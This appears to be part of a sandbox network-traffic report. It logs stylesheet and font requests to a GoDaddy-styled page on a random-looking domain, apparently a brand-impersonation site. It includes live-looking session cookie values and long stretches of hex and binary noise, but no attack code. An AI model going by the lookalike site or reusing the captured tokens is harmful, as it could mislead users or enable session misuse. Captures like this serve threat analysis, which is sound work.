65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 2d Data Ascii: .25rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inline-
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 76 76 73 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 Data Ascii: vvspv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxText
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 61 72 28 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 Data Ascii: ar(--ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .ux
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e Data Ascii: margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godaddy .
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 0d 0a Data Ascii: ransform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 Data Ascii: n: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .ux-c
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 62 70 62 2c Data Ascii: tions_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyybpb,
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 2d 74 65 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 79 79 64 2c Data Ascii: -text-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40yyd,

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	1357	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Origin: https://ea.gdpfjvzprf.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:02 UTC	1171	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" cf-cache-status: HIT Last-Modified: Wed, 26 Mar 2025 23:16:50 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OgAgZEV34zS2mU7HwhvVSh8KMtviObhr36at3Zc%2F%2B3m%2FIrFVmiOxZ95jqQKmsgAuNQ48mux4vxFBwAmROtBeIZC2A073xmwshLZH5c0PHS0%2FfxKTfMaP25fIvsNb221STaGh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=917&min_rtt=862&rtt_var=278&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2392&delivery_rate=4498331&cwnd=252&unsent_bytes=0&cid=eb062b7fe1c5d413&ts=592&x=0" Age: 911 Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 926a71ea2807186d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=84864&min_rtt=84649&rtt_var=18181&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1929&delivery_rate=35832&cwnd=252&unsent_bytes=0&cid=e83cac1fbc77589f&ts=189&x=0"
2025-03-26 23:32:02 UTC	198	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)J
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 19 56 d4 Data Ascii: Fc A7kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSsV
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c 8f a6 25 Data Ascii: Ka&LYl\w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\%
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 f2 a2 47 74 0c d9 1e Data Ascii: ]ulFaRGuYyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQyGt
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c 7c 41 17 7b 2e f2 7f Data Ascii: tLC=yoPT_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|\|A{.
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 0a 36 eb ea 6b 96 62 Data Ascii: C\g1Gd%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"K*ZfY6kb
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd 43 b1 df 38 9a 7b 42 Data Ascii: E=Zrn~~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wjC8{B
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 28 3a a4 17 c2 5e 60 Data Ascii: VK)iuC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$(:^`
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 e7 b3 02 52 4f 2e 36 Data Ascii: ,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%RO.6
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 e6 80 2c 4f 95 71 9e Data Ascii: }4P@0W\|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp,Oq

Timestamp	Bytes transferred	Direction	Data
